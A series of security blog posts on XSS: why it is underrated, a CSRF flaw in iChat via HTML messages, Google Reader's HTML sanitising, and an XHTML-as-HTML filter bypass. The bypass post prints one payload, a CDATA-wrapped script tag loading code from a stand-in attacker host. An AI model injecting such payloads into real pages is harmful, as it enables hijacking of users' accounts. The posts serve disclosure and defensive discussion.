Why don't people take XSS seriously?

Recently RSnake wrote an article on the seriousness of XSS, because a lot of people are asking him what the worst thing is XSS can do. He goes on about how it can be used to do sophisticated cross-domain exponential attacks, but he doesn't touch too much upon the underlying problem. Why are people asking this question?

In my experience people don't see XSS as a problem. This is since the people who should care about it are system administrators and/or programmers. They're the same people who think Linux is safe because each user can only fuck up his own files. And this is the fundamental problem! Sure, a user can only fuck up his own files, but those are the only important files to the user. The user couldn't care less if the systems emacs binary becomes crippled. Because It is easy to replace everything in the system, but not the user files.

It's the same with XSS versus SQL injection. SQL injection is seen as a serious problem since you can attack the system. But you don't need to attack the system, attacking the client is enough. Let's say I want to hack a bank, because of a lack of money. Of course if I could do SQL injection (let's say this bank uses a mysql database ;) ) and change some of the amounts and end up with a lot more money.

However, I don't really need 5 million euro's and I'll settle for a few thousand. If I can just hack one account and make one user do a deposit to my account, wouldn't that be enough? Similarly, if I'm a student and I want to change my grades, I only need to hack the teachers account. And these are typically the kind of attacks most easily done by XSS. You only need to find one XSS exploit somewhere on the site and then need to social engineer someone to click on a link (which doesn't even have to be to the site, but can be a redirect) or if you're lucky you can even use persistent XSS. And almost all sites I know of are full of XSS, while fewer and fewer have SQL injection leaks.

So what can you do with XSS? Anything the person you are hacking can do.

CSRF in iChat

A year ago or so I discovered that iChat does not only share the rendering engine, but also the cookie manager with Safari. So you can CSRF someone over at least AIM (i don't know wether other protocols support html as well) by sending them an HTML message. The HTML message can contain an img tag, and thus execute a CSRF.

Since a friend of mine reported this bug when I found it, and they still haven't fixed it it seemed like the time to publish it. I also wonder wether other clients also share this problem (for instance windows clients using the msie rendering engine).

Google Reader security

Since I was bored I decided to test the Google Reader security (I like to make sure that the websites I use are at least moderately secure). Also, since this is a community application (via the shared feeds) a XSS exploit could spread quite easily (like the MySpace worm).

But Google has actually implemented a decent security scheme. As far as i can see they actually parse the html (and xhtml) generate new html from the parse tree. They also prevent the hack which i thought of recently by stripping CDATA sections and replacing them by their html-encoded content.

I also tried injecting into the style property, but they actually seem to parse the css as well. At least to me this approach seems pretty solid. That is, it is the approach I always advise to people. Parse everything, make a (xml) tree, and use a whitelisting filter (for example XSLT) to select the allowed properties). The hard part is to parse the domain languages (javascript, css) and they seem to handle that properly as well. Good to see a webapp/website that actually thought about their security :) (though I must admit it is a bit disappointing to search for exploits for some time and find none ;) ).

Xhtml XSS exploit

A few days ago I was discussing the security of our company's new webframework with Eamon. This framework is by design quite XSS-safe. Because the whole website is XML based we need to use XML everywhere. And if we take the user input as XHTML instead of HTML it's much easier to make sure it's valid. And it's very easy to clear a valid XHTML fragment of XSS attacks (by only allowing reasonable tags, and doing some filtering on valid urls).

But there's one pitfall. Since some browsers (looking at you MSIE) don't understand XHTML we need to serve the pages as text/html. If we now choose to serve the XHTML as is we might run into some trouble. Since XHTML allows some constructs which mean nothing in HTML we might be able to create a valid and safe XHTML document, which isn't safe if served as HTML. For instance, this is a possible attack vector.

<![CDATA[ >
<script src="http://evilhaxor.org/evilscript.js"></script>
< ]]>

But since I'm not that skilled in XML, I don't know all possible constructs. But it might also be possible to do nasty things with namespaces for instance (let's say the script namespace). If anyone has additional attack vectors i'm very interested :)

XSS Cheat Sheet and Database

I guess most of my readers will be familiar with the XSS cheat sheet. But I only recently found out that someone also wrote a nice frontend to it to search through it more easily, the XSSDB. If someone knows more XSS databases like these i'd really like to hear about them.